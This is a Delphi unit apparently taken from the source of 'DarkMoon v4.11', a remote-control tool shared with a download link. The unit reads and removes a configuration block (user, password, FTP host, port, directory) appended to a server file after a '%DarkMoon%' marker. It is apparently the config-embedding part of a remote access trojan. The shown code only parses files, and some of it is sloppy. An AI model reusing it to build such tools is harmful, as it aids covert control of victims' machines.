editserver.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit editserver;

interface
  uses
  Windows, Messages, SysUtils ,CommandsAndUtils;
             var
     USER, PASS,FTP,PORT,DIR,FileDarkMoon: string   ;

implementation

       
  procedure Clear();
var F :file of char;

s,Data,Data1, tmpData,tmpData1: string;
i ,a: integer;
l ,c : char;
begin

If FileExists (FileDarkMoon)=true Then  begin
AssignFile (F,FileDarkMoon);
FileMode := 0;
Reset (F);
if     filesize(F)>88 then begin
//seek(F,filesize(F)-88);
       end;
        while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;

closefile(F);


if StrPos(pchar(Data),'%DarkMoon%') <> '' then begin

Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
   tmpData:= copy(Data,1,length(Data)-length(StrPos(pchar(Data),'%DarkMoon%'))) ;
///Data1 :=replace(Data1,#13#10,'*');
//messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
     //form1.memo1.Text:=tmpData;
           AssignFile (F,FileDarkMoon);
      rewrite(F);
        for i:=1 to length(  tmpData)   do begin
         c:= stringtochar( copy( tmpData,i,1) );

         write(F,c);
      end;
         closefile(F);
  end;

 end;
 end;

  procedure ReadDarkMoon();
var F :file of char;
var G :file of char;
s,Data,Data1, tmpData,tmpData1: string;
i ,a: integer;
l  : char;

begin

  If FileExists (FileDarkMoon)=true Then  begin

AssignFile (F,FileDarkMoon);
FileMode := 0;
Reset (F);
     if    filesize(F) > 88 then begin
seek(F,filesize(F)-88);

          end;

        while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;
//form1.memo1.Text:=  Data;
closefile(F);

if StrPos(pchar(Data),'%DarkMoon%') <>'' then begin
Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
//Data1 :=replace(Data1,#13#10,'*');
//messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
  //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);

         //   memo1.Text:=  Data1;
      i:=FindNChars (Data1 ,'*' );
          for a:= 1 to i do begin
            tmpData:= (copy(Data1,1,FindChar(Data1,'*'))) ;
              tmpData1:= (copy(Data1,1,FindChar(Data1,'*')-1)) ;
         if a= 1  then begin
            USER:= tmpData1;
            end;
            if a= 2 then  begin
            PASS:= tmpData1;
            end;

           if a= 3  then begin
               FTP:= tmpData1;
            end;

           if a= 4 then begin
               PORT:= tmpData1;
            end;
            if a= 5 then begin
            DIR:= tmpData1;
            end;

              Data1:=replace ( Data1,tmpData,''  );
          end;
               end;
     
 end;

end;


end.